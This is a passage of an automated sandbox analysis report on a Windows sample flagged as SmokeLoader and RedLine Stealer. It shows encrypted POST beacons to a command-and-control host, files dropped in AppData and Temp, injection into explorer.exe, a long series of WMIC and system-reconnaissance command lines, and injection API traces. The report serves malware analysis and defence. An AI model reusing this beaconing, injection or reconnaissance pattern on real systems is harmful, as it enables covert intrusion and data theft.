2024-10-07 22:22:27 UTC	109	OUT	Data Raw: 72 19 87 cc 8d 7b 1c 8a 19 f7 9b 18 4f 86 11 29 d0 84 b1 a6 66 7a 3c f3 70 71 c4 e0 ee a7 42 ed 01 9a cf f2 00 8f ae 84 85 01 d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6b 34 01 83 b6 25 93 3c 32 a9 65 e1 d2 fe 51 00 be 76 62 b5 25 c5 93 3b 3d b8 6a 01 20 c8 ea d4 2c be a9 07 02 86 d4 Data Ascii: r{O)fz<pqB )6IP g3iqH[CLk4%<2eQvb%;=j ,
2024-10-07 22:22:27 UTC	285	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 22:22:27 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 7 Content-Type: text/html; charset=utf-8 Connection: close
2024-10-07 22:22:27 UTC	7	IN	Data Raw: 03 00 00 00 1e 0d af Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50065	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 22:22:49 UTC	285	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://dcegxttxxlsj.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: ninjahallnews.com
2024-10-07 22:22:49 UTC	109	OUT	Data Raw: 72 19 87 cc 8d 7b 1c 8a 19 f7 9b 18 4f 86 11 29 d0 84 b1 a6 66 7a 3c f3 70 71 c4 e0 ee a7 42 ed 01 9a cf f2 00 8f ae 84 85 01 d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6b 34 01 83 b6 25 93 3c 32 a9 65 e1 d2 fe 51 00 be 76 62 b5 25 c5 93 3b 3d b8 6a 01 20 c8 ea d4 2c be a9 07 02 86 d4 Data Ascii: r{O)fz<pqB )6IP g3iqH[CLk4%<2eQvb%;=j ,
2024-10-07 22:22:50 UTC	285	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 22:22:49 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 7 Content-Type: text/html; charset=utf-8 Connection: close
2024-10-07 22:22:50 UTC	7	IN	Data Raw: 03 00 00 00 1e 0d af Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50067	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 22:23:14 UTC	284	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://mqhltxselyb.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: ninjahallnews.com
2024-10-07 22:23:14 UTC	109	OUT	Data Raw: 72 19 87 cc 8d 7b 1c 8a 19 f7 9b 18 4f 86 11 29 d0 84 b1 a6 66 7a 3c f3 70 71 c4 e0 ee a7 42 ed 01 9a cf f2 00 8f ae 84 85 01 d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6b 34 01 83 b6 25 93 3c 32 a9 65 e1 d2 fe 51 00 be 76 62 b5 25 c5 93 3b 3d b8 6a 01 20 c8 ea d4 2c be a9 07 02 86 d4 Data Ascii: r{O)fz<pqB )6IP g3iqH[CLk4%<2eQvb%;=j ,
2024-10-07 22:23:14 UTC	285	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 22:23:14 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 7 Content-Type: text/html; charset=utf-8 Connection: close
2024-10-07 22:23:14 UTC	7	IN	Data Raw: 03 00 00 00 1e 0d af Data Ascii:

Target ID:	0
Start time:	18:19:28
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\bCnarg2O62.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\bCnarg2O62.exe"
Imagebase:	0x400000
File size:	453'632 bytes
MD5 hash:	FA949A7589DC71EA006EB10AD025618A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.1799052498.0000000000520000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.1799134235.0000000000540000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.1799134235.0000000000540000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1799360788.00000000005AD000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.1799202066.0000000000561000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.1799202066.0000000000561000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	18:19:34
Start date:	07/10/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	18:19:54
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Roaming\derhswe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\derhswe
Imagebase:	0x400000
File size:	453'632 bytes
MD5 hash:	FA949A7589DC71EA006EB10AD025618A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000005.00000002.2045303884.000000000050C000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000005.00000002.2045484809.0000000001FE1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000005.00000002.2045484809.0000000001FE1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000005.00000002.2045012210.00000000004A0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000005.00000002.2045088261.00000000004B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000005.00000002.2045088261.00000000004B0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	18:20:01
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Roaming\derhswe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\derhswe
Imagebase:	0x400000
File size:	453'632 bytes
MD5 hash:	FA949A7589DC71EA006EB10AD025618A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000006.00000002.2106411331.0000000000520000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000006.00000002.2106596720.000000000073F000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000006.00000002.2106729164.0000000002101000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000006.00000002.2106729164.0000000002101000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000006.00000002.2106441385.0000000000530000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000006.00000002.2106441385.0000000000530000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	18:20:16
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1D0F.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\1D0F.exe
Imagebase:	0x400000
File size:	453'632 bytes
MD5 hash:	02F50094664F74B387AC57B1DE8679AF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000007.00000002.2263785204.0000000000710000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000007.00000002.2263785204.0000000000710000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000007.00000002.2264170490.00000000020E1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000007.00000002.2264170490.00000000020E1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000007.00000002.2263700057.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000007.00000002.2264057033.000000000075D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	18:20:40
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Roaming\jfrhswe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\jfrhswe
Imagebase:	0x400000
File size:	453'632 bytes
MD5 hash:	02F50094664F74B387AC57B1DE8679AF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000008.00000002.2520233894.000000000073D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000008.00000002.2520412148.00000000020D1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000008.00000002.2520412148.00000000020D1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000008.00000002.2519523064.0000000000700000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000008.00000002.2520072402.0000000000710000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000008.00000002.2520072402.0000000000710000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	18:20:59
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Local\Temp\9245.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\9245.exe
Imagebase:	0x7ff7327a0000
File size:	78'336 bytes
MD5 hash:	65AEAA0A0849CB3CE9BC15BCBF0B7B9F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	18:21:00
Start date:	07/10/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff778820000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	18:21:02
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x890000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	18:21:03
Start date:	07/10/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	18:21:04
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x890000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader, Description: Yara detected SmokeLoader, Source: 0000000E.00000002.4174510515.0000000000581000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	18:21:04
Start date:	07/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd
Imagebase:	0x7ff793540000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	18:21:04
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff735400000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	18:21:05
Start date:	07/10/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader, Description: Yara detected SmokeLoader, Source: 00000011.00000002.4174299297.0000000000821000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	18:21:05
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /format:csv
Imagebase:	0x7ff725b70000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	18:21:06
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x890000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	18:21:07
Start date:	07/10/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	18:21:08
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /format:csv
Imagebase:	0x7ff725b70000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	18:21:10
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\SecurityCenter2 Path AntiSpywareProduct Get displayName /format:csv
Imagebase:	0x7ff725b70000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	18:21:12
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_Processor Get Name,DeviceID,NumberOfCores /format:csv
Imagebase:	0x7ff725b70000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	18:21:14
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_Product Get Name,Version /format:csv
Imagebase:	0x7ff725b70000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	18:21:19
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_NetworkAdapter Where PhysicalAdapter=TRUE Get Name,MACAddress,ProductName,ServiceName,NetConnectionID /format:csv
Imagebase:	0x7ff725b70000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	18:21:22
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_StartupCommand Get Name,Location,Command /format:csv
Imagebase:	0x7ff725b70000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	18:21:23
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_OperatingSystem Get Caption,CSDVersion,BuildNumber,Version,BuildType,CountryCode,CurrentTimeZone,InstallDate,LastBootUpTime,Locale,OSArchitecture,OSLanguage,OSProductSuite,OSType,SystemDirectory,Organization,RegisteredUser,SerialNumber /format:csv
Imagebase:	0x7ff725b70000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	18:21:26
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_Process Get Caption,CommandLine,ExecutablePath,ProcessId /format:csv
Imagebase:	0x7ff725b70000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	18:21:33
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_Volume Get Name,Label,FileSystem,SerialNumber,BootVolume,Capacity,DriveType /format:csv
Imagebase:	0x7ff725b70000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	18:21:35
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv
Imagebase:	0x7ff725b70000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	18:21:38
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_GroupUser Get GroupComponent,PartComponent /format:csv
Imagebase:	0x7ff725b70000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	18:21:43
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_ComputerSystem Get Caption,Manufacturer,PrimaryOwnerName,UserName,Workgroup /format:csv
Imagebase:	0x7ff725b70000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	18:21:47
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_PnPEntity Where ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}" Get Name,DeviceID,PNPDeviceID,Manufacturer,Description /format:csv
Imagebase:	0x7ff725b70000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	18:21:52
Start date:	07/10/2024
Path:	C:\Windows\System32\ipconfig.exe
Wow64 process (32bit):	false
Commandline:	ipconfig /displaydns
Imagebase:	0x7ff656dd0000
File size:	35'840 bytes
MD5 hash:	62F170FB07FDBB79CEB7147101406EB8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	18:21:53
Start date:	07/10/2024
Path:	C:\Windows\System32\ROUTE.EXE
Wow64 process (32bit):	false
Commandline:	route print
Imagebase:	0x7ff7162b0000
File size:	24'576 bytes
MD5 hash:	3C97E63423E527BA8381E81CBA00B8CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	18:21:55
Start date:	07/10/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh firewall show state
Imagebase:	0x7ff769e60000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	18:21:59
Start date:	07/10/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	systeminfo
Imagebase:	0x7ff6afb10000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	18:22:09
Start date:	07/10/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /v /fo csv
Imagebase:	0x7ff624fa0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	8.7%
Dynamic/Decrypted Code Coverage:	40.7%
Signature Coverage:	44.9%
Total number of Nodes:	118
Total number of Limit Nodes:	4

Executed Functions

Function 00401514 Relevance: 10.7, APIs: 7, Instructions: 201
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000000.00000002.1798634180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bCnarg2O62.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 030196af5c35925124d1a5e0ae71aae975fd3bc268d3cb8e752286d8b76e3a9f
Instruction ID: b77a8bcfde574781322ebaec397cd5e92af5eb717990e6e7793f83a32abcc97b
Opcode Fuzzy Hash: 030196af5c35925124d1a5e0ae71aae975fd3bc268d3cb8e752286d8b76e3a9f
Instruction Fuzzy Hash: 24615E71900244FBEB209F95CC49FAF7BB8EF85700F20412AF912BA1E5D6749A01DB69

Function 004014FE Relevance: 10.7, APIs: 7, Instructions: 180
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.1798634180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bCnarg2O62.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: 797714e4bcca61813209f29cc723c8138b20262a6c787ca69d6a1213da408676
Instruction ID: 0ec8d6d4108695f7377ece7931361284e20275783593a2318d747dbe857377b0
Opcode Fuzzy Hash: 797714e4bcca61813209f29cc723c8138b20262a6c787ca69d6a1213da408676
Instruction Fuzzy Hash: 6A5129B5900209BFEB209F95CC48FEF7BB9EF85710F14412AF912BA2A5D6749901CB24

Function 00401542 Relevance: 10.7, APIs: 7, Instructions: 167
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

